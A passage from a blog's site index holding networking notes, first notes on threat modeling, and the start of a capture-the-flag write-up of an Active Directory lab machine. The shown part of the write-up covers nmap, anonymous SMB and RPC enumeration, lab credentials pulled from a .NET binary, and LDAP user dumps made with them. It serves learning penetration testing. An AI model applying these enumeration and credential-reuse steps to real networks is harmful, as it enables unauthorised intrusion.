with multiple switches and a router form the same broadcast domain.\nIntuitively, one might think that increasing broadcast domains increases collision domains, thus worse networks. This is of course valid, until we created transparent bridges which are devices that link and transmit the frames between L2 nodes while they\u0026rsquo;re unaware of their existence.\n1 Port =\u0026gt; Point-to-Point =\u0026gt; A single collision domain for each connection, which means no collision =\u0026gt; A single extended Broadcast Domain.\noutputmermaidgraph TD A[Start] --\u0026gt; B[Process] B --\u0026gt; C[End] VLANs: Divide and Conqueror # So, we know LANs and LAN parties. We gather, connect our computers and then launch Counter Strike 1.6. For as much as I want to continue talking about Counter Strike 1.6, but I must go on.\nVLAN is the answer to the question: What if we want to divide our L2 broadcast domain into smaller L2 domains?\nVLANs allow us to keep nodes logically seperated but physically connected to the same bridge.\nSo while a bridge functionality is merging multiple L2 segments into one, VLANs do the opposite to get a logically seperated L2 segments.\nVLAN Tagging: A look into VLAN Ethernet Frame # VLANs are created by tagging Ethernet Frames with a 4 bytes ID that is injected within the Ethernet Frame right after the Destination and Source addresses.\nThat\u0026rsquo;s how VLANs are created and how we can finally obtain multiple segreggated L2 segments within a single Broadcast Domain.\nEnough of Layer 2 (not really). Let\u0026rsquo;s move on.\nA bit of L3: Network Layer # We\u0026rsquo;ve seen that with L2 Layer, nodes communicate via their MAC addresses through bridges/switches. L2 is caracterized with broadcast domains and the ability to communicate to the whole broadcast domain. But that\u0026rsquo;s isn\u0026rsquo;t the case for L3. So how is communication done?\nL3 Segment # As it is the case with L2 segment, an L3 segment defined by L3 boundaries where devices communicate using routing rather than switching.\nL3 Communication # Within an L3 segment # Even though we\u0026rsquo;re at another layer, doesn\u0026rsquo;t mean we negelect the other ones. Don\u0026rsquo;t confuse this seggregation to an independency between them. They are rather complimentary and must work together. That being said, sending an L3 packet is simply sending the IP packet within an L2 frame to the destination IP of the L2 segment.\nWhen arriving, the receiving node should be aware of how to translate that IP to a MAC address using Neighbor Discovery Protocol (ARP for IPv4 and NDP for IPv6).\nIf the translation fails, the node sends an L2 broadcast frame with a query like who is 10.10.10.10 expecting an L2 response with the destination\u0026rsquo;s node MAC address to continue the sending process.\nThis shows how much the L3 routing relies heavily on L2 switching, showcasing that everything boils down to the lowest level of the OSI model. Across L3 segments # Since we have more than one L3 segment, we need a router. The same logic from above applies here. The only difference is that the IP packet is sent to the gateway of the segment the sending node belongs to, which will then handle its forwarding to the destination.\nAll nodes should have their routing tables, which is a whole topic in itself.\nNote that when a router receives the frame, it unwraps it and sends the underlying IP packet to the next-hop router.\nIn comparaison to the case in which the destination is in the same L2 segment, sending a L3 packet across L3 segments is like forwarding the packet to the next-hop router, until it reaches an L2 segment the final destination is connected to.\nL3 Packet Structure # VXLAN: A layer 2 that needs Layer 3 # We\u0026rsquo;ve seen VLAN, a way that allows to divide a single L2 braodcast domain into smaller ones, thus having the overlaying character.\nVXLAN on the other hand is also an L2 protocol but that needs all nodes to have IP addresses (L3). It allows us to relate multiple nodes from different L2 braodcast domains into one. Thus being exactly the opposite objective of VLAN.\nVXLAN allows us to connect multiple nodes across L3 segments into one virtual L2 segment, thus it is a much more powerful tehcnology than VLAN.\nVXLAN Frame # Bridge vs Switch: A Historical Confusion # Across all the courses, LLM discussions, the term bridge and switch were used interchangibly which caused a great confusion. Are they the same thing? aren\u0026rsquo;t they both L2 ? Why are we not configuring a bridge in HUawei eNSP or Cisco\u0026rsquo;s packet tracer? Why is L2 only discussed as a transparent organ and focus directly on routing and protocols on the routers.\nHistory # Turns out that we started out with network devices to bridge two L1 nodes to form an L2 segment thus the name network bridge. A bridge back in the day had only 2 ports to connect two nodes and do its job.\nSo we have a functionality: Multiple nodes that need to be connected. Keep that in mind.\nWith tehcnology advancing and improving, the bridging functionality is passed on the network switch. It is a much powerful device, that, among many other functionalities, bridges multiple L2 nodes (or L1 nodes to form an L2 brodcast domain).\nNote that switches, routers and networking devices nowadays are really powerful and perform multiple functionalities on higher or lower layers. I\u0026rsquo;ll post more into routers and switches when I have the time, the rest in on you. ","date":"28 January 2026","externalUrl":null,"permalink":"/blog/switch-vs-bridge/","section":"Blog","summary":"An OSI Identity Crisis: A historical confusion.","title":"Bridge is Dead, remains dead, and we have killed him","type":"blog"},{"content":"","date":"27 January 2026","externalUrl":null,"permalink":"/tags/hackathon/","section":"Tags","summary":"","title":"Hackathon","type":"tags"},{"content":"","date":"27 January 2026","externalUrl":null,"permalink":"/tags/modeling/","section":"Tags","summary":"","title":"Modeling","type":"tags"},{"content":"","date":"27 January 2026","externalUrl":null,"permalink":"/tags/threat/","section":"Tags","summary":"","title":"Threat","type":"tags"},{"content":"","date":"27 January 2026","externalUrl":null,"permalink":"/series/threat-modeling/","section":"Series","summary":"","title":"Threat Modeling","type":"series"},{"content":" What is this # I\u0026rsquo;m jst starting in threat modeling after crossing a post about Threat Modeling Connect Hackathon 2026 which sounded really interesting and should feed my engineering thirst (or over engineering thirst?).\nThese are my notes while learning and discovering this field, connecting with experienced and inexperienced people accross the world and of course hoping that my team wins first prize?\nWhat is threat modeling? # The concept itself is something we do on a daily basis. Let\u0026rsquo;s take the case of crossing the street:\nWe Identify how fast the vehicules are moving, how are pedastrians are moving:\nWe prioritize the risk: Higher moving first then slower ones..etc\nWe mitigate the risk: Traffic light, eye contact with the driver..etc\nThe same applies in the digital world. We:\nIdentify threats based on their complexity, vulnerabilities chance of happening assumptions and all Prioritize these risks and threats. Mitigate these threats. Where it sucks? # As simple as it sounds, here\u0026rsquo;s what we\u0026rsquo;re missing.\nReports that say that something hasn\u0026rsquo;t happened are always interesting to me, because as we know, there are known knowns; there are things we know we know. We also know there are known unknowns; that is to say we know there are some things we do not know. But there are also unknown unknowns—the ones we don\u0026rsquo;t know we don\u0026rsquo;t know. Donald Rumsfeld\nWhy? Because these models are\nLimited of abstraction =\u0026gt; simplified reality =\u0026gt; not every possible risk is detected. Unpredictibility of threats =\u0026gt; New vulnerabilities emerge, new risk rises and attackers constantly innovate. Bounded by assumptions =\u0026gt; Not real systems, threats and vulunerabilities =\u0026gt; flawed assumptions =\u0026gt; innacurate model. So is this helpless? No.\nWhat makes a good Threat Model? # All models are wrong, some are useful. George Box\nIn short, a good threat model is a humble (😉) threat model: Not overly complicated, not arrogant and thinks as a saviour and expects to know its limitations and leveraging strengths to build better secured systems.\n","date":"27 January 2026","externalUrl":null,"permalink":"/blog/threat-modeling/","section":"Blog","summary":"Some notes before starting to learn Threat Modeling","title":"Threat Modeling: My very first steps","type":"blog"},{"content":"","date":"27 January 2026","externalUrl":null,"permalink":"/tags/threat-model-connect/","section":"Tags","summary":"","title":"Threat-Model-Connect","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/active-directory/","section":"Tags","summary":"","title":"Active-Directory","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/command-injection/","section":"Tags","summary":"","title":"Command-Injection","type":"tags"},{"content":"","date":"25 January 2026","externalUrl":null,"permalink":"/tags/dns-poisoning/","section":"Tags","summary":"","title":"Dns-Poisoning","type":"tags"},{"content":" Kill Chain # TL;DR The machine was fun, didn\u0026rsquo;t have anything that didnt make sense but pretty straightforward after the foothold.\nExposed SMB shares via NULL session to obtain a .NET project. Clear text credentials of a sqlsvc MSSQL service account. A hidden MSSQL server on an unusual port (lost me too much time). A linked server that we can intercept a NTLMv2 hash (lead to nothing). Misconfiguration that lead to DNS configuration manipulation to intercept clear text credentials of another service account. Error-based Command Injection in a WCF service that accepted unvalidated input to the KillProcess method was exploited to get high-privileged PowerShell Stop-Process call. Enumeration # Nmap # bash 1$ nmap -sV -sC -vv -Pn -oN overwatch_nmap $target 2 3PORT STATE SERVICE REASON VERSION 453/tcp open domain syn-ack ttl 127 Simple DNS Plus 588/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-25 12:15:15Z) 6135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 7139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 8389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name) 9445/tcp open microsoft-ds? syn-ack ttl 127 10464/tcp open kpasswd5? syn-ack ttl 127 11593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 12636/tcp open tcpwrapped syn-ack ttl 127 133268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name) 143269/tcp open tcpwrapped syn-ack ttl 127 153389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services 16|_ssl-date: 2026-01-25T12:16:03+00:00; +1s from scanner time. 17| ssl-cert: Subject: commonName=S200401.overwatch.htb 18| Issuer: commonName=S200401.overwatch.htb 19| Public Key type: rsa 20| Public Key bits: 2048 21| Signature Algorithm: sha256WithRSAEncryption 22| Not valid before: 2025-12-07T15:16:06 23| Not valid after: 2026-06-08T15:16:06 24| MD5: 0da8f9a5d788e36307b15f706524ffcb 25| SHA-1: 3287c62d44087fbb403800b332fada67fb2214bc 26| -----BEGIN CERTIFICATE----- 27| MIIC7jCCAdagAwIBAgIQQB+9JS5+iIRHlnVDL5wRazANBgkqhkiG9w0BAQsFADAg 28| MR4wHAYDVQQDExVTMjAwNDAxLm92ZXJ3YXRjaC5odGIwHhcNMjUxMjA3MTUxNjA2 29| WhcNMjYwNjA4MTUxNjA2WjAgMR4wHAYDVQQDExVTMjAwNDAxLm92ZXJ3YXRjaC5o 30| dGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDmHUjAEelxLdt0uNeO 31| ah2/XpNZQsIekINBswk9QIsJPsCdFScs60OIcc+kq9JyruEYQ44SGcnAMdRM1Aal 32| mhhyLcJ0BX1pqcFQASSHbClRBwzW8O+7cZaWrVRV8l616Q9dOBVqtMMe7gK/qfOF 33| mdE21VNURJ4LcDQ2BUBBjy0MKcCEEImly3cCyKyS7gCHi5VZ6GlShWykPSDq75Ob 34| eM3S3zrbxogClJDUmfvay9vCRVyn33DW3Bf35dno2aEaYHzg9JMboey/XfgCNxQE 35| wx7/GVjFxMo4CV3uZuDEPwaKH9S89Ta56Fgg3GcRCXrFqdhTN5Y+OJ2Ej/C4Jg0F 36| j2wRAgMBAAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDAN 37| BgkqhkiG9w0BAQsFAAOCAQEAeR1mQymcP9NndxSFRjKvk+J9t0peN+caudPqj0nU 38| MrlmzV05FyNCo3AiaoLRPBg6f29dqps/H2aJPzA8E3thAdNEgnAisbDWve6Ze1Pc 39| XD0iUbe/KCIhqeRTpcD57UPjBb45lTcocPDLXlz5X4iFUhEiWqJXwkCnyNM+bgZl 40| uPzaH52mU+sBikSLQfAppkg5MwRA+sCK8QhivS7BcwkolFrciEpWmlr0bHS0lCiR 41| xlt1TwWNi2qGwnTfrO1Kag1P/Ky10JP3+X1r/KXb+71R3KwxCW/Bs9w6ZkCcwOLp 42| 1lI8KPv4qke+B5jnwoDg+7x+0kZL3G2IT4atv6rCfYHooA== 43|_-----END CERTIFICATE----- 44| rdp-ntlm-info: 45| Target_Name: OVERWATCH 46| NetBIOS_Domain_Name: OVERWATCH 47| NetBIOS_Computer_Name: S200401 48| DNS_Domain_Name: overwatch.htb 49| DNS_Computer_Name: S200401.overwatch.htb 50| DNS_Tree_Name: overwatch.htb 51| Product_Version: 10.0.20348 52|_ System_Time: 2026-01-25T12:15:24+00:00 53Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows 54 55Host script results: 56| p2p-conficker: 57| Checking for Conficker.C or higher... 58| Check 1 (port 48707/tcp): CLEAN (Timeout) 59| Check 2 (port 54271/tcp): CLEAN (Timeout) 60| Check 3 (port 18945/udp): CLEAN (Timeout) 61| Check 4 (port 24749/udp): CLEAN (Timeout) 62|_ 0/4 checks are positive: Host is CLEAN or ports are blocked 63| smb2-security-mode: 64| 311: 65|_ Message signing enabled and required 66|_clock-skew: mean: 0s, deviation: 0s, median: 0s 67| smb2-time: 68| date: 2026-01-25T12:15:24 69|_ start_date: N/A Service \u0026amp; Protocol Breakdown # Port Protocol Service Significance 53 TCP DNS Used for domain name resolution within the AD environment. 88 TCP Kerberos The primary authentication protocol for Active Directory. High value for attacks like AS-REP Roasting or Golden Tickets. 135 TCP RPC Used for remote management and querying service information. 139 / 445 TCP NetBIOS / SMB Used for file sharing. Check for anonymous logins or \u0026ldquo;Null Sessions\u0026rdquo; to list users or shares. 389 / 636 TCP LDAP(S) The phonebook of the network. Used to query information about users, groups, and computers. 464 TCP Kerberos Password Used for changing or setting passwords in the domain. 593 TCP RPC-over-HTTP Often used by Microsoft Exchange or for remote administration. 3268 / 3269 TCP Global Catalog Used to search for objects across the entire Active Directory forest. 3389 TCP RDP Remote Desktop Protocol. Used for graphical remote login. bashecho \u0026#34;$target S200401 S200401.overwatch.htb overwatch.htb\u0026#34; | sudo tee -a /etc/hosts DNS # We can try some basic DNS config enumeration:\nbash 1$ dig any overwatch.htb @S200401.overwatch.htb 2 3; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.18.41-1~deb12u1-Debian \u0026lt;\u0026lt;\u0026gt;\u0026gt; any overwatch.htb @S200401.overwatch.htb 4 5;; ANSWER SECTION: 6overwatch.htb.\t600\tIN\tA\t10.129.15.6 7overwatch.htb.\t3600\tIN\tNS\ts200401.overwatch.htb. 8overwatch.htb.\t3600\tIN\tSOA\ts200401.overwatch.htb. hostmaster.overwatch.htb. 316 900 600 86400 3600 9overwatch.htb.\t600\tIN\tAAAA\tdead:beef::189 10overwatch.htb.\t600\tIN\tAAAA\tdead:beef::9038:f5a6:a5b7:bb6 11 12;; ADDITIONAL SECTION: 13s200401.overwatch.htb.\t3600\tIN\tA\t10.129.15.6 14s200401.overwatch.htb.\t3600\tIN\tAAAA\tdead:beef::189 15s200401.overwatch.htb.\t3600\tIN\tAAAA\tdead:beef::9038:f5a6:a5b7:bb6 Nothing important so we move on.\nRPC # We can try to query basic command on RPC to maybe query users, domains\u0026hellip;etc\nbash$ rpcclient -U \u0026#34;\u0026#34; $target Password for [WORKGROUP\\]: rpcclient $\u0026gt; srvinfo 10.129.15.6 Wk Sv Sql PDC Tim NT platform_id :\t500 os version :\t10.0 server type :\t0x80102f Failure That\u0026rsquo;s the only command we can run.\nLDAP # Info Also LDAP enumeration lead to nothing due to limited privileges without credentials.\nSMB # bash$ smbclient -L //overwatch.htb -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share software$ Disk SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available Interesting enough, we got out hands on an exposed software share.\nbash$ smbclient //overwatch.htb/software$ -N smb: \\\u0026gt; ls . DH 0 Sat May 17 02:27:07 2025 .. DHS 0 Thu Jan 1 07:46:47 2026 Monitoring DH 0 Sat May 17 02:32:43 2025 smb: \\\u0026gt; cd Monitoring smb: \\Monitoring\\\u0026gt; ls . DH 0 Sat May 17 02:32:43 2025 .. DH 0 Sat May 17 02:27:07 2025 EntityFramework.dll AH 4991352 Thu Apr 16 21:38:42 2020 EntityFramework.SqlServer.dll AH 591752 Thu Apr 16 21:38:56 2020 EntityFramework.SqlServer.xml AH 163193 Thu Apr 16 21:38:56 2020 EntityFramework.xml AH 3738289 Thu Apr 16 21:38:40 2020 Microsoft.Management.Infrastructure.dll AH 36864 Mon Jul 17 15:46:10 2017 overwatch.exe AH 9728 Sat May 17 02:19:24 2025 overwatch.exe.config AH 2163 Sat May 17 02:02:30 2025 overwatch.pdb AH 30208 Sat May 17 02:19:24 2025 System.Data.SQLite.dll AH 450232 Sun Sep 29 21:41:18 2024 System.Data.SQLite.EF6.dll AH 206520 Sun Sep 29 21:40:06 2024 System.Data.SQLite.Linq.dll AH 206520 Sun Sep 29 21:40:42 2024 System.Data.SQLite.xml AH 1245480 Sat Sep 28 19:48:00 2024 System.Management.Automation.dll AH 360448 Mon Jul 17 15:46:10 2017 System.Management.Automation.xml AH 7145771 Mon Jul 17 15:46:10 2017 x64 DH 0 Sat May 17 02:32:33 2025 x86 DH 0 Sat May 17 02:32:33 2025 Okay we\u0026rsquo;re not against a clear database file. This is a .NET project source code.\nFrom a reverse engineering erspective, seeing those overwatch.pdb and overwatch.exe files directly made me think of reverse engineering it since we have a pdb file to help us within IDA.\nExposed Configuration File # Before reversing here\u0026rsquo;s the content of overwatch.exe.config:\noutputoverwatch.exe.configxml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34; \u0026lt;configuration\u0026gt; \u0026lt;configSections\u0026gt; \u0026lt;!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/ LinkID=237468 --\u0026gt; \u0026lt;section name=\u0026#34;entityFramework\u0026#34; type=\u0026#34;System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\u0026#34; requirePermission=\u0026#34;false\u0026#34; /\u0026gt; \u0026lt;/configSections\u0026gt; \u0026lt;system.serviceModel\u0026gt; \u0026lt;services\u0026gt; \u0026lt;service name=\u0026#34;MonitoringService\u0026#34;\u0026gt; \u0026lt;host\u0026gt; \u0026lt;baseAddresses\u0026gt; \u0026lt;add baseAddress=\u0026#34;http://overwatch.htb:8000/MonitorService\u0026#34; /\u0026gt; \u0026lt;/baseAddresses\u0026gt; \u0026lt;/host\u0026gt; \u0026lt;endpoint address=\u0026#34;\u0026#34; binding=\u0026#34;basicHttpBinding\u0026#34; contract=\u0026#34;IMonitoringService\u0026#34; /\u0026gt; \u0026lt;endpoint address=\u0026#34;mex\u0026#34; binding=\u0026#34;mexHttpBinding\u0026#34; contract=\u0026#34;IMetadataExchange\u0026#34; /\u0026gt; \u0026lt;/service\u0026gt; \u0026lt;/services\u0026gt; \u0026lt;behaviors\u0026gt; \u0026lt;serviceBehaviors\u0026gt; \u0026lt;behavior\u0026gt; \u0026lt;serviceMetadata httpGetEnabled=\u0026#34;True\u0026#34; /\u0026gt; \u0026lt;serviceDebug includeExceptionDetailInFaults=\u0026#34;True\u0026#34; /\u0026gt; \u0026lt;/behavior\u0026gt; \u0026lt;/serviceBehaviors\u0026gt; \u0026lt;/behaviors\u0026gt; \u0026lt;/system.serviceModel\u0026gt; \u0026lt;entityFramework\u0026gt; \u0026lt;providers\u0026gt; \u0026lt;provider invariantName=\u0026#34;System.Data.SqlClient\u0026#34; type=\u0026#34;System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer\u0026#34; /\u0026gt; \u0026lt;provider invariantName=\u0026#34;System.Data.SQLite.EF6\u0026#34; type=\u0026#34;System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6\u0026#34; /\u0026gt; \u0026lt;/providers\u0026gt; \u0026lt;/entityFramework\u0026gt; \u0026lt;system.data\u0026gt; \u0026lt;DbProviderFactories\u0026gt; \u0026lt;remove invariant=\u0026#34;System.Data.SQLite.EF6\u0026#34; /\u0026gt; \u0026lt;add name=\u0026#34;SQLite Data Provider (Entity Framework 6)\u0026#34; invariant=\u0026#34;System.Data.SQLite.EF6\u0026#34; description=\u0026#34;.NET Framework Data Provider for SQLite (Entity Framework 6)\u0026#34; type=\u0026#34;System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6\u0026#34; /\u0026gt; \u0026lt;remove invariant=\u0026#34;System.Data.SQLite\u0026#34; /\u0026gt;\u0026lt;add name=\u0026#34;SQLite Data Provider\u0026#34; invariant=\u0026#34;System.Data.SQLite\u0026#34; description=\u0026#34;.NET Framework Data Provider for SQLite\u0026#34; type=\u0026#34;System.Data.SQLite.SQLiteFactory, System.Data.SQLite\u0026#34; /\u0026gt;\u0026lt;/DbProviderFactories\u0026gt; \u0026lt;/system.data\u0026gt; \u0026lt;/configuration\u0026gt; WCF Service Hosting: The \u0026lt;system.serviceModel\u0026gt; section indicates that the application hosts a Windows Communication Foundation (WCF) service named MonitoringService. It is configured to listen on http://overwatch.htb:8000/MonitorService. Notably, httpGetEnabled=\u0026quot;True\u0026quot; is set, meaning service metadata (WSDL) can likely be retrieved by navigating to the URL, which would reveal the available functions within the IMonitoringService contract. Database Backend: The \u0026lt;entityFramework\u0026gt; and \u0026lt;system.data\u0026gt; sections show that the application supports SQLite and SQL Server. The inclusion of SQLite suggests that the application might maintain a local database file (e.g., .db or .sqlite) on the disk, which could contain sensitive information or credentials. Important This will come extremly helpful later in the privilege escalation. Since there is an internal service, this will surely contain something.\nPE Static Analysis : Clear text credentials # From basic strings output, we coudln\u0026rsquo;t get anything helpful:\noutputMicrosoft C/C MSF 7.00 - 4.13.0-3.25167.3 73eff2b5de2ad38ec602c0a9e82f9125fb85992b BZy,G Users Administrator source repos overwatch overwatch MonitoringService.cs users administrator source repos overwatch overwatch monitoringservice.cs Users Administrator source repos overwatch overwatch Program.cs users administrator source repos overwatch overwatch program.cs Users Administrator source repos overwatch overwatch IMonitoringService.cs users administrator source repos overwatch overwatch imonitoringservice.cs Users Administrator source repos overwatch overwatch Release .NETFramework,Version=v4.7.2.AssemblyAttributes.cs users administrator source repos overwatch overwatch release .netframework,version=v4.7.2.assemblyattributes.cs Users Administrator source repos overwatch overwatch Properties AssemblyInfo.cs users administrator source repos overwatch overwatch properties assemblyinfo.cs Main USystem USystem.ServiceModel USystem.Timers USystem.IO USystem.Data.SqlClient CheckEdgeHistory historyPath tempPath conn command reader StartMonitoring USystem USystem.Data.SqlClient USystem.Diagnostics USystem.Management USystem.Management.Automation.Runspaces USystem.Text UMicrosoft.Win32 So also throwing to IDA didn\u0026rsquo;t show any functions. But dumping the raw bytes was fruitful:\nWe can see the clear text credentials sqlsvc:TI0LKcfHzZw1Vv which could also be done with:\nTodo So we re-run another SMB enumeration using the given creds to see of there are anything specific for this user account. But it lead to nothing. So, we move on.\nLDAP Again : Using our leaked credentials # Domain User Accounts Dump # bash$ ldapsearch -x -H ldap://10.129.14.67 -D \u0026#39;sqlsvc@overwatch.htb\u0026#39; -w \u0026#39;TI0LKcfHzZw1Vv\u0026#39; -b \u0026#39;dc=overwatch,dc=htb\u0026#39; \u0026#39;(objectClass=user)\u0026#39; | grep \u0026#34;sAMAccountName\u0026#34; sAMAccountName: Administrator sAMAccountName: Guest sAMAccountName: S200401$ sAMAccountName: krbtgt sAMAccountName: sqlsvc sAMAccountName: sqlmgmt sAMAccountName: SQL03$ sAMAccountName: NB001$ sAMAccountName: NB002$ sAMAccountName: FILE01$ sAMAccountName: S200400$ sAMAccountName: Charlie.Moss sAMAccountName: Tracy.Burns sAMAccountName: Kathryn.Bryan sAMAccountName: Rachael.Thomas sAMAccountName: Aimee.Smith sAMAccountName: Duncan.Freeman sAMAccountName: John.Begum sAMAccountName: Bernard.Hilton sAMAccountName: Kim.Hargreaves sAMAccountName: Douglas.Burrows sAMAccountName: Carole.Murray sAMAccountName: Olivia.Quinn sAMAccountName: Trevor.Baker sAMAccountName: Kenneth.Dennis sAMAccountName: Jeremy.Marshall sAMAccountName: Jodie.Jones sAMAccountName: Thomas.Lee sAMAccountName: Terence.Matthews sAMAccountName: Colin.Roberts sAMAccountName: Aaron.Robinson sAMAccountName: Amanda.Jenkins sAMAccountName: Debra.Arnold sAMAccountName: Michelle.Willis sAMAccountName: Kayleigh.Jones sAMAccountName: Adam.Russell sAMAccountName: Tracey.Kelly sAMAccountName: Bethan.Dale sAMAccountName: Mandy.Wood sAMAccountName: Jenna.Phillips sAMAccountName: Carole.Yates sAMAccountName: Graham.Perry sAMAccountName: Catherine.Griffiths sAMAccountName: Shaun.Jackson sAMAccountName: Bethan.Rogers sAMAccountName: Ellie.Singh sAMAccountName: Marie.Allan sAMAccountName: Patrick.Holmes sAMAccountName: Victor.Hopkins sAMAccountName: Geraldine.Harper sAMAccountName: George.Todd sAMAccountName: Karl.Smith sAMAccountName: Jacqueline.Norton sAMAccountName: Frederick.Murray sAMAccountName: Joe.Pearce sAMAccountName: Paul.Collins sAMAccountName: Damien.Edwards sAMAccountName: Eileen.Phillips sAMAccountName: Carl.Johnson sAMAccountName: Kevin.Newton sAMAccountName: Natalie.Higgins sAMAccountName: Francis.Weston sAMAccountName: Benjamin.Davison sAMAccountName: Martin.Kemp sAMAccountName: Angela.Jones sAMAccountName: Gareth.Ahmed sAMAccountName: Deborah.Morgan sAMAccountName: Grace.Taylor sAMAccountName: Roger.Hughes sAMAccountName: Albert.Barrett sAMAccountName: Grace.Curtis sAMAccountName: Marilyn.Griffiths sAMAccountName: Tracey.Barker sAMAccountName: Suzanne.Hughes sAMAccountName: Timothy.Jackson sAMAccountName: Beverley.Thompson sAMAccountName: Clare.Bartlett sAMAccountName: Irene.Johnson sAMAccountName: Bernard.Wood sAMAccountName: Frank.McCarthy sAMAccountName: Elaine.Page sAMAccountName: Elaine.Walker sAMAccountName: Mohammad.Hill sAMAccountName: Glenn.Field sAMAccountName: Deborah.Martin sAMAccountName: Gail.Sullivan sAMAccountName: Maureen.Kirby sAMAccountName: Georgina.Chambers sAMAccountName: Philip.Harris sAMAccountName: Samantha.Scott sAMAccountName: Ann.Hill sAMAccountName: Chloe.Cox sAMAccountName: Jamie.Gough sAMAccountName: Frederick.Hussain sAMAccountName: Dean.Hobbs sAMAccountName: Danielle.Moore sAMAccountName: Timothy.Smith sAMAccountName: Declan.Stone sAMAccountName: Jacob.Wilson Domain Groups Dump # bash$ ldapsearch -x -H ldap://$target -D \u0026#39;sqlsvc@overwatch.htb\u0026#39; -w \u0026#39;TI0LKcfHzZw1Vv\u0026#39; -b \u0026#39;dc=overwatch,dc=htb\u0026#39; \u0026#39;(objectClass=group)\u0026#39; | grep cn: cn: Administrators cn: Users cn: Guests cn: Print Operators cn: Backup Operators cn: Replicator cn: Remote Desktop Users cn: Network Configuration Operators cn: Performance Monitor Users cn: Performance Log Users cn: Distributed COM Users cn: IIS_IUSRS cn: Cryptographic Operators cn: Event Log Readers cn: Certificate Service DCOM Access cn: RDS Remote Access Servers cn: RDS Endpoint Servers cn: RDS Management Servers cn: Hyper-V Administrators cn: Access Control Assistance Operators cn: Remote Management Users cn: Storage Replica Administrators cn: Domain Computers cn: Domain Controllers cn: Schema Admins cn: Enterprise Admins cn: Cert Publishers cn: Domain Admins cn: Domain Users cn: Domain Guests cn: Group Policy Creator Owners cn: RAS and IAS Servers cn: Server Operators cn: Account Operators cn: Pre-Windows 2000 Compatible Access cn: Incoming Forest Trust Builders cn: Windows Authorization Access Group cn: Terminal Server License Servers cn: Allowed RODC Password Replication Group cn: Denied RODC Password Replication Group cn: Read-only Domain Controllers cn: Enterprise Read-only Domain Controllers cn: Cloneable Domain Controllers cn: Protected Users cn: Key Admins cn: Enterprise Key Admins cn: DnsAdmins cn: DnsUpdateProxy cn: SQLServer2005SQLBrowserUser$S200401 cn: employees This can be confirmed again using RPC\nRPC # bash$ rpcclient -U \u0026#34;sqlsvc\u0026#34; $target Password for [WORKGROUP\\sqlsvc]: rpcclient $\u0026gt; srvinfo 10.129.15.6 Wk Sv Sql PDC Tim NT platform_id :\t500 os version :\t10.0 server type :\t0x80102f rpcclient $\u0026gt; enumdomains name:[OVERWATCH] idx:[0x0] name:[Builtin] idx:[0x0] rpcclient $\u0026gt; querydominfo Domain:\tOVERWATCH Server:\tComment:\tTotal Users:\t146 Total Groups:\t0 Total Aliases:\t15 Sequence No:\t1 Force Logoff:\t-1 Domain Server State:\t0x1 Server Role:\tROLE_DOMAIN_PDC Unknown 3:\t0x0 rpcclient $\u0026gt; enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[sqlsvc] rid:[0x450] user:[sqlmgmt] rid:[0x451] user:[Charlie.Moss] rid:[0x458] user:[Tracy.Burns] rid:[0x459] user:[Kathryn.Bryan] rid:[0x45a] user:[Rachael.Thomas] rid:[0x45b] user:[Aimee.Smith] rid:[0x45c] user:[Duncan.Freeman] rid:[0x45d] user:[John.Begum] rid:[0x45e] user:[Bernard.Hilton] rid:[0x45f] user:[Kim.Hargreaves] rid:[0x460] user:[Douglas.Burrows] rid:[0x461] user:[Carole.Murray] rid:[0x462] user:[Olivia.Quinn] rid:[0x463] user:[Trevor.Baker] rid:[0x464] user:[Kenneth.Dennis] rid:[0x465] user:[Jeremy.Marshall] rid:[0x466] user:[Jodie.Jones] rid:[0x467] user:[Thomas.Lee] rid:[0x468] user:[Terence.Matthews] rid:[0x469] user:[Colin.Roberts] rid:[0x46a] user:[Aaron.Robinson] rid:[0x46b] user:[Amanda.Jenkins] rid:[0x46c] user:[Debra.Arnold] rid:[0x46d] user:[Michelle.Willis] rid:[0x46e] user:[Kayleigh.Jones] rid:[0x46f] user:[Adam.Russell] rid:[0x470] user:[Tracey.Kelly] rid:[0x471] user:[Bethan.Dale] rid:[0x472] user:[Mandy.Wood] rid:[0x473] user:[Jenna.Phillips] rid:[0x474] user:[Carole.Yates] rid:[0x475] user:[Graham.Perry] rid:[0x476] user:[Catherine.Griffiths] rid:[0x477] user:[Shaun.Jackson] rid:[0x478] user:[Bethan.Rogers] rid:[0x479] user:[Ellie.Singh] rid:[0x47a] user:[Marie.Allan] rid:[0x47b] user:[Patrick.Holmes] rid:[0x47c] user:[Victor.Hopkins] rid:[0x47d] user:[Geraldine.Harper] rid:[0x47e] user:[George.Todd] rid:[0x47f] user:[Karl.Smith] rid:[0x480] user:[Jacqueline.Norton] rid:[0x481] user:[Frederick.Murray] rid:[0x482] user:[Joe.Pearce] rid:[0x483] user:[Paul.Collins] rid:[0x484] user:[Damien.Edwards] 